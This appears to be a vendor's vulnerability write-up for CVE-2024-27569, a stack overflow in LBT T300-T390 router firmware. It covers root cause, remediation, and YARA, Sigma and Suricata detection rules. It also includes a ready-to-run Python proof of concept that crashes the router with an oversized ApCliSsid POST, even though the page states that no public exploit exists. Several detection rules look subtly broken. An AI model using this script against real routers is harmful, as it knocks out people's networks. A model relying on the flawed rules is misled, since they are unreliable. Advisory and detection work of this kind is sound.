CVE-2024-27569
Executive Summary
CVE-2024-27569 is a critical stack overflow vulnerability discovered in the LBT T300-T390 router firmware version v2.2.1.8. The flaw resides in the init_nvram function, specifically within the handling of the ApCliSsid parameter. An unauthenticated attacker can trigger a Denial of Service (DoS) by sending a crafted POST request, causing the device to crash or become unresponsive. No official patch has been released by the vendor, and no public exploit code is available at this time. The vulnerability is classified under MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is currently listed as 0.0, indicating that no official CVSS vector has been assigned. However, based on the nature of the vulnerability (stack overflow leading to DoS), a reasonable estimated vector would be:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the router itself.
- Confidentiality (C): None (N) – No data exfiltration.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete loss of availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High – The vulnerability is remotely exploitable without authentication, and the impact on availability is severe.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow (CWE-121) in the init_nvram function of the LBT T300-T390 firmware. The ApCliSsid parameter is used to configure the SSID for the wireless client interface. When a POST request is sent with an overly long ApCliSsid value, the data is copied into a fixed-size stack buffer without proper bounds checking. This overwrites adjacent stack memory, including the return address and other critical data.
Root Cause: The init_nvram function uses a vulnerable function (likely strcpy or sprintf) to copy user-supplied input into a stack buffer. The buffer size is insufficient to handle the maximum allowed input length.
Attack Flow:
- Attacker identifies a vulnerable LBT T300-T390 router on the network.
- Attacker sends a crafted HTTP POST request to the router's management interface (typically on port 80 or 443).
- The POST request includes an
ApCliSsidparameter with a value exceeding the buffer size (e.g., 500+ characters). - The
init_nvramfunction copies the oversized input into the stack buffer, causing a stack overflow. - The overflow corrupts the stack, leading to a crash (DoS) or potentially arbitrary code execution (if the attacker controls the overwritten return address).
Potential for RCE: While the public description only mentions DoS, stack overflows can often be leveraged for Remote Code Execution (RCE) if the attacker can control the overwritten instruction pointer and bypass memory protections (e.g., ASLR, DEP). However, no public exploit code exists yet.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, a secure implementation would involve:
Vulnerable Code (Conceptual):
void init_nvram() { char buffer[64]; char *ssid = get_param("ApCliSsid"); strcpy(buffer, ssid); // No bounds checking // ... rest of function }Patched Code (Conceptual):
void init_nvram() { char buffer[64]; char *ssid = get_param("ApCliSsid"); strncpy(buffer, ssid, sizeof(buffer) - 1); // Bounds checking buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate // ... rest of function }
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Vulnerable LBT T300-T390 router (firmware v2.2.1.8)
- Network access to the router's management interface
- Python 3 with
requestslibrary
Exploit Script (Proof of Concept):
import requests
target = "http://192.168.1.1" # Replace with actual router IP
payload = "A" * 500 # Overflow buffer
data = {
"ApCliSsid": payload
}
try:
r = requests.post(target + "/goform/init_nvram", data=data, timeout=5)
print("Request sent. Router may be unresponsive.")
except requests.exceptions.Timeout:
print("Router likely crashed (DoS achieved).")
except Exception as e:
print(f"Error: {e}")
Usage:
- Change the
targetvariable to the router's IP address. - Run the script. The router should become unresponsive after the request.
Note: This is a DoS-only PoC. For RCE, further reverse engineering and exploitation development would be required.
Blue Team (Defensive)
Detection:
- Monitor for HTTP POST requests to
/goform/init_nvramwith abnormally longApCliSsidvalues. - Use network intrusion detection systems (NIDS) to flag requests with
ApCliSsidexceeding 64 characters.
Mitigation:
- Isolate vulnerable routers on a separate VLAN.
- Disable remote management if not required.
- Apply vendor patch when available (currently none).
- Implement input validation at the network perimeter (e.g., web application firewall).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/goform/init_nvramwithApCliSsidparameter length > 64 characters. - Repeated connection timeouts to the router after a POST request.
- HTTP POST requests to
- Host IOCs:
- Router crash logs indicating stack overflow in
init_nvram. - Unexpected router reboots or unresponsiveness.
- Router crash logs indicating stack overflow in
- File IOCs:
- Firmware version
v2.2.1.8on LBT T300-T390 devices.
- Firmware version
Detection Engineering
YARA Rule
rule CVE_2024_27569_StackOverflow {
meta:
description = "Detects exploit attempts for CVE-2024-27569 in HTTP POST requests"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27569"
strings:
$s1 = "ApCliSsid=" ascii wide nocase
$s2 = "POST" ascii wide nocase
$s3 = "/goform/init_nvram" ascii wide nocase
condition:
all of ($s*) and #s1 > 64
}
Sigma Rule
title: CVE-2024-27569 LBT Router Stack Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with overly long ApCliSsid parameter targeting LBT routers
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-27569
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/goform/init_nvram'
cs-uri-query|contains: 'ApCliSsid='
condition: selection and len(cs-uri-query) > 200
falsepositives:
- Legitimate long SSID names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2024-27569 LBT Router Stack Overflow Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/goform/init_nvram"; http_uri;
content:"ApCliSsid="; http_client_body;
pcre:"/ApCliSsid=[^&]{65,}/";
sid:1000001;
rev:1;
reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-27569;
classtype:attempted-dos;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices: Place LBT T300-T390 routers on a separate VLAN with restricted access.
- Disable remote management: If not required, disable the web management interface from the WAN side.
- Monitor logs: Enable logging and monitor for suspicious POST requests to
/goform/init_nvram.
Long-term Actions:
- Vendor patch: Contact LBT for a firmware update. If unavailable, consider replacing the device.
- Network segmentation: Implement strict firewall rules to limit access to router management interfaces.
- IDS/IPS deployment: Deploy Suricata or Snort rules to detect and block exploit attempts.
Workaround:
- If the router's firmware cannot be updated, consider using a different router model or placing the device behind a firewall that can filter malicious requests.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert